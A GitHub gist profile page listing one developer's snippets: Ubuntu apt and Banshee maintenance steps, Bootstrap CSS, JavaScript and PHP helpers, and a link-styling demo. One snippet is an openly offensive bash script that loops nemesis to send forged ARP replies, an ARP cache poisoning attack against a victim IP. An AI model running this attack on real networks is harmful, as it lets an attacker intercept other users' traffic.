Skip to content

Instantly share code, notes, and snippets.

View aniketpant's full-sized avatar
WHAT

Aniket Pant aniketpant

WHAT
View GitHub Profile
@aniketpant
aniketpant / base.md
Last active December 22, 2015 02:19
Inspiration

A list of all the inspiring work I get to see around the web. Starting this document as a gist, might take it to my blog later or it might soon end up as a repository.

@aniketpant
aniketpant / remove-gpg-errors.sh
Created June 28, 2013 04:21
[Ubuntu] Script to remove GPG errors which occur during update.
sudo apt-get clean
cd /var/lib/apt
sudo mv lists lists.old
sudo mkdir -p lists/partial
sudo apt-get clean
sudo apt-get update
/* Flatten das boostrap */
.well, .navbar-inner, .popover, .btn, .tooltip, input, select, textarea, pre, .progress, .modal, .add-on, .alert, .table-bordered, .nav>.active>a, .dropdown-menu, .tooltip-inner, .badge, .label, .img-polaroid {
-moz-box-shadow: none !important;
-webkit-box-shadow: none !important;
box-shadow: none !important;
-webkit-border-radius: 0px !important;
-moz-border-radius: 0px !important;
border-radius: 0px !important;
border-collapse: collapse !important;
background-image: none !important;
@aniketpant
aniketpant / index.html
Created June 6, 2013 14:35
A CodePen by herbnerder. Styling adjacent links - It can be hard to tell two links apart when they are directly adjacent to each other. It is even harder when you remove the underline (the spaces between links help). Make sure to account for it somehow.
<h1>Styling Adjacent Links</h1>
<p class="contrast">People like to remove link underlines because they are seen as ugly. But, people also <a href="#">like to do that thing</a> <a href="#">where they link up several adjacent strings</a> of text or <a href="#">even</a> <a href="#">make</a> <a href="#">each</a> <a href="#">word</a> <a href="#">a</a> <a href="#">different</a> <a href="#">link.</a></p>
<p><a href="#">Linking that way</a> <a href="#">lets you fit a lot of info</a> <a href="#">into a small space.</a> <a href="#">But if you are removing the underlines,</a> <a href="#">it becomes hard to tell</a> <a href="#">that they are even separate links.</a></p>
<p class="underline"><a href="#">You</a> <a href="#">could</a> <a href="#">just</a> <a href="#">leave</a> <a href="#">the</a> <a href="#">underline</a> <a href="#">alone.</a></p>
<p>But, if you insist, maybe you could at least give every 2nd link a slightly differently treatment so that users can tell them apart?</p>
@aniketpant
aniketpant / implode-explode.js
Last active December 17, 2015 23:29
Query String Problem
// Implode/Explode Approach
function queryString (str, param, value) {
var output = "";
splitString = str.split('?');
baseURL = splitString[0];
params = splitString[1].split('&');
ctr = 0;
params.forEach(function(p) {
/* The API controller
Exports 3 methods:
* post - Creates a new thread
* list - Returns a list of threads
* show - Displays a thread and its posts
*/
var Thread = require('../models/thread.js');
var Post = require('../models/post.js');
@aniketpant
aniketpant / reset-banshee-db.md
Created May 20, 2013 06:46
Steps to reset Banshee's database.
  1. Close Banshee.
  2. Backup your ~/.config/banshee-1/banshee.db (copy it, do not move or rename it).
  3. Execute the following command: sqlite3 ~/.config/banshee-1/banshee.db "update coretracks set LastSyncedStamp = 0 where PrimarySourceID=1"
  4. Start Banshee. It should now update your folder and file names. It takes quite a long time, depending on how many files you have. You can see how it's working in the bottom left corner.

The above steps come from http://askubuntu.com/a/48490/107558

<?php
/**
* Generate an encryption key for CodeIgniter.
* http://codeigniter.com/user_guide/libraries/encryption.html
*/
// http://www.itnewb.com/v/Generating-Session-IDs-and-Random-Passwords-with-PHP
function generate_token ($len = 32)
{
#!/bin/bash
# perform an arp cache poisoning attack with nemesis
# http://nemesis.sourceforge.net/
[[ $1 = "-h" ]] && echo "usage: $0 <network_device> <attackers_mac> <ip_to_masquerade_as> <victim_ip>" && exit 0
while true
do
nemesis arp -d $1 -H $2 -M ff:ff:ff:ff:ff:ff -h $2 -m ff:ff:ff:ff:ff:ff -S $3 -D $4
space: 00101010
pong: 10000001
simone: 11010011
eightbit: 01010011
song: 11011011
synth: 10001000
ascii: 01111111
bowling: 01110101
rocket: 01000101
burger: 00111001